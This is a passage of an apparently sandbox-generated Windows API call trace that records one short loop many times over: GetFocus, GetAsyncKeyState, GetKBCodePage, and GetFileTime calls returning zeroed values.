lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.129] GetFocus () returned 0x0 [0254.129] GetAsyncKeyState (vKey=58) returned 0 [0254.129] GetKBCodePage () returned 0x1b5 [0254.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.129] GetFocus () returned 0x0 [0254.129] GetAsyncKeyState (vKey=58) returned 0 [0254.129] GetKBCodePage () returned 0x1b5 [0254.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.129] GetFocus () returned 0x0 [0254.129] GetAsyncKeyState (vKey=58) returned 0 [0254.129] GetKBCodePage () returned 0x1b5 [0254.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.129] GetFocus () returned 0x0 [0254.129] GetAsyncKeyState (vKey=58) returned 0 [0254.129] GetKBCodePage () returned 0x1b5 [0254.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.129] GetFocus () returned 0x0 [0254.129] GetAsyncKeyState (vKey=58) returned 0 [0254.129] GetKBCodePage () returned 0x1b5 [0254.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.129] GetFocus () returned 0x0 [0254.129] GetAsyncKeyState (vKey=58) returned 0 [0254.129] GetKBCodePage () returned 0x1b5 [0254.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.129] GetFocus () returned 0x0 [0254.130] GetAsyncKeyState (vKey=58) returned 0 [0254.130] GetKBCodePage () returned 0x1b5 [0254.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.130] GetFocus () returned 0x0 [0254.130] GetAsyncKeyState (vKey=58) returned 0 [0254.130] GetKBCodePage () returned 0x1b5 [0254.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.130] GetFocus () returned 0x0 [0254.130] GetAsyncKeyState (vKey=58) returned 0 [0254.130] GetKBCodePage () returned 0x1b5 [0254.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.130] GetFocus () returned 0x0 [0254.130] GetAsyncKeyState (vKey=58) returned 0 [0254.130] GetKBCodePage () returned 0x1b5 [0254.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.130] GetFocus () returned 0x0 [0254.130] GetAsyncKeyState (vKey=58) returned 0 [0254.130] GetKBCodePage () returned 0x1b5 [0254.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.130] GetFocus () returned 0x0 [0254.130] GetAsyncKeyState (vKey=58) returned 0 [0254.130] GetKBCodePage () returned 0x1b5 [0254.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.130] GetFocus () returned 0x0 [0254.130] GetAsyncKeyState (vKey=58) returned 0 [0254.130] GetKBCodePage () returned 0x1b5 [0254.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.130] GetFocus () returned 0x0 [0254.130] GetAsyncKeyState (vKey=58) returned 0 [0254.130] GetKBCodePage () returned 0x1b5 [0254.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.130] GetFocus () returned 0x0 [0254.130] GetAsyncKeyState (vKey=58) returned 0 [0254.130] GetKBCodePage () returned 0x1b5 [0254.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.131] GetFocus () returned 0x0 [0254.131] GetAsyncKeyState (vKey=58) returned 0 [0254.131] GetKBCodePage () returned 0x1b5 [0254.131] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.131] GetFocus () returned 0x0 [0254.131] GetAsyncKeyState (vKey=58) returned 0 [0254.131] GetKBCodePage () returned 0x1b5 [0254.131] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.131] GetFocus () returned 0x0 [0254.131] GetAsyncKeyState (vKey=58) returned 0 [0254.131] GetKBCodePage () returned 0x1b5 [0254.131] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.131] GetFocus () returned 0x0 [0254.131] GetAsyncKeyState (vKey=58) returned 0 [0254.131] GetKBCodePage () returned 0x1b5 [0254.131] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.131] GetFocus () returned 0x0 [0254.131] GetAsyncKeyState (vKey=58) returned 0 [0254.131] GetKBCodePage () returned 0x1b5 [0254.131] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.131] GetFocus () returned 0x0 [0254.131] GetAsyncKeyState (vKey=58) returned 0 [0254.131] GetKBCodePage () returned 0x1b5 [0254.131] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.131] GetFocus () returned 0x0 [0254.131] GetAsyncKeyState (vKey=58) returned 0 [0254.131] GetKBCodePage () returned 0x1b5 [0254.131] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.131] GetFocus () returned 0x0 [0254.131] GetAsyncKeyState (vKey=58) returned 0 [0254.131] GetKBCodePage () returned 0x1b5 [0254.131] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.131] GetFocus () returned 0x0 [0254.131] GetAsyncKeyState (vKey=58) returned 0 [0254.131] GetKBCodePage () returned 0x1b5 [0254.131] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.132] GetFocus () returned 0x0 [0254.132] GetAsyncKeyState (vKey=58) returned 0 [0254.132] GetKBCodePage () returned 0x1b5 [0254.132] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.132] GetFocus () returned 0x0 [0254.132] GetAsyncKeyState (vKey=58) returned 0 [0254.132] GetKBCodePage () returned 0x1b5 [0254.132] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.132] GetFocus () returned 0x0 [0254.132] GetAsyncKeyState (vKey=58) returned 0 [0254.132] GetKBCodePage () returned 0x1b5 [0254.132] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.132] GetFocus () returned 0x0 [0254.132] GetAsyncKeyState (vKey=58) returned 0 [0254.132] GetKBCodePage () returned 0x1b5 [0254.132] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.132] GetFocus () returned 0x0 [0254.132] GetAsyncKeyState (vKey=58) returned 0 [0254.132] GetKBCodePage () returned 0x1b5 [0254.132] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.132] GetFocus () returned 0x0 [0254.132] GetAsyncKeyState (vKey=58) returned 0 [0254.132] GetKBCodePage () returned 0x1b5 [0254.132] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.132] GetFocus () returned 0x0 [0254.132] GetAsyncKeyState (vKey=58) returned 0 [0254.132] GetKBCodePage () returned 0x1b5 [0254.132] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.132] GetFocus () returned 0x0 [0254.132] GetAsyncKeyState (vKey=58) returned 0 [0254.132] GetKBCodePage () returned 0x1b5 [0254.132] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.132] GetFocus () returned 0x0 [0254.132] GetAsyncKeyState (vKey=58) returned 0 [0254.132] GetKBCodePage () returned 0x1b5 [0254.132] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.133] GetFocus () returned 0x0 [0254.133] GetAsyncKeyState (vKey=58) returned 0 [0254.133] GetKBCodePage () returned 0x1b5 [0254.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.133] GetFocus () returned 0x0 [0254.133] GetAsyncKeyState (vKey=58) returned 0 [0254.133] GetKBCodePage () returned 0x1b5 [0254.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.133] GetFocus () returned 0x0 [0254.133] GetAsyncKeyState (vKey=58) returned 0 [0254.133] GetKBCodePage () returned 0x1b5 [0254.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.133] GetFocus () returned 0x0 [0254.133] GetAsyncKeyState (vKey=58) returned 0 [0254.133] GetKBCodePage () returned 0x1b5 [0254.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.133] GetFocus () returned 0x0 [0254.133] GetAsyncKeyState (vKey=58) returned 0 [0254.133] GetKBCodePage () returned 0x1b5 [0254.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.133] GetFocus () returned 0x0 [0254.133] GetAsyncKeyState (vKey=58) returned 0 [0254.133] GetKBCodePage () returned 0x1b5 [0254.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.133] GetFocus () returned 0x0 [0254.133] GetAsyncKeyState (vKey=58) returned 0 [0254.133] GetKBCodePage () returned 0x1b5 [0254.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.133] GetFocus () returned 0x0 [0254.133] GetAsyncKeyState (vKey=58) returned 0 [0254.133] GetKBCodePage () returned 0x1b5 [0254.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.133] GetFocus () returned 0x0 [0254.133] GetAsyncKeyState (vKey=58) returned 0 [0254.133] GetKBCodePage () returned 0x1b5 [0254.133] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.134] GetFocus () returned 0x0 [0254.134] GetAsyncKeyState (vKey=58) returned 0 [0254.134] GetKBCodePage () returned 0x1b5 [0254.134] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.134] GetFocus () returned 0x0 [0254.134] GetAsyncKeyState (vKey=58) returned 0 [0254.134] GetKBCodePage () returned 0x1b5 [0254.134] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.134] GetFocus () returned 0x0 [0254.134] GetAsyncKeyState (vKey=58) returned 0 [0254.134] GetKBCodePage () returned 0x1b5 [0254.134] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.134] GetFocus () returned 0x0 [0254.134] GetAsyncKeyState (vKey=58) returned 0 [0254.134] GetKBCodePage () returned 0x1b5 [0254.134] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.134] GetFocus () returned 0x0 [0254.134] GetAsyncKeyState (vKey=58) returned 0 [0254.134] GetKBCodePage () returned 0x1b5 [0254.134] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.134] GetFocus () returned 0x0 [0254.134] GetAsyncKeyState (vKey=58) returned 0 [0254.134] GetKBCodePage () returned 0x1b5 [0254.134] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.134] GetFocus () returned 0x0 [0254.134] GetAsyncKeyState (vKey=58) returned 0 [0254.134] GetKBCodePage () returned 0x1b5 [0254.134] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.134] GetFocus () returned 0x0 [0254.134] GetAsyncKeyState (vKey=58) returned 0 [0254.134] GetKBCodePage () returned 0x1b5 [0254.134] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.134] GetFocus () returned 0x0 [0254.134] GetAsyncKeyState (vKey=58) returned 0 [0254.134] GetKBCodePage () returned 0x1b5 [0254.135] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.135] GetFocus () returned 0x0 [0254.135] GetAsyncKeyState (vKey=58) returned 0 [0254.135] GetKBCodePage () returned 0x1b5 [0254.135] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, 